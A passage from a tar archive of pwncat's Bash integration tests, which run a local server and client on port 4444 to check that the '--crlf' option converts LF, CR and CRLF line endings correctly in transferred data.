"(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/102---tcp---server_crlf_crlf---client_sends_crlf.sh000077500000000000000000000151101414025024700325220ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/200---tcp---client_crlf_lf---server_sends_lf.sh000077500000000000000000000150161414025024700316540ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/201---tcp---client_crlf_lf---server_sends_cr.sh000077500000000000000000000150161414025024700316600ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/202---tcp---client_crlf_lf---server_sends_crlf.sh000077500000000000000000000150211414025024700321770ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/300---tcp---server_crlf_lf---client_sends_lf.sh000077500000000000000000000150161414025024700316550ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( 